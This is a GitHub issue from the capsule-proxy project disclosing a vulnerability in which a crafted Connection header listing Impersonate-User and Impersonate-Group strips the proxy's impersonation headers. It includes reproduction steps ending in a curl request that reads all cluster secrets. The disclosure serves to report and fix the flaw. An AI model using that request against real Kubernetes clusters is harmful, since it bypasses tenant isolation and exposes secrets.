

Steps on how to reproduce

kind create cluster --name capsule --wait 60s
helm upgrade --install capsule clastix/capsule -n capsule-system --create-namespace
mkcert 127.0.0.1 && kubectl --namespace capsule-system create secret tls capsule-proxy -key=./127.0.0.1-key.pem --cert ./127.0.0.1.pem
helm upgrade --install capsule-proxy clastix/capsule-proxy -n capsule-system --create-namespace
kubectl -n capsule-system port-forward svc/capsule-proxy 9001

export TOKEN=\$(any valid token)

curl --cacert /home/prometherion/.local/share/mkcert/rootCA.pem

"https://localhost:9001/api/v1/secrets" -H "Authorization: Bearer \$TOKEN" -H "Connection: Imperso
nate-User,Impersonate-Group" -0

Many kudos to @carpenterm and @enj for pointing this out!

A review for the proposed PR would be great, along with the direct maintainers, such as **@bsctl** and **@MaxFedotov**!

- prometherion added this to the v0.2.1 milestone on Feb 18
 - prometherion closed this as completed in #189 on Feb 20

Assignees prometherion Labels bug Projects None yet Milestone

Development

Successfully merging a pull request may close this issue.

bug: cve exploiting malicious connection header clastix/capsule-proxy

1 participant

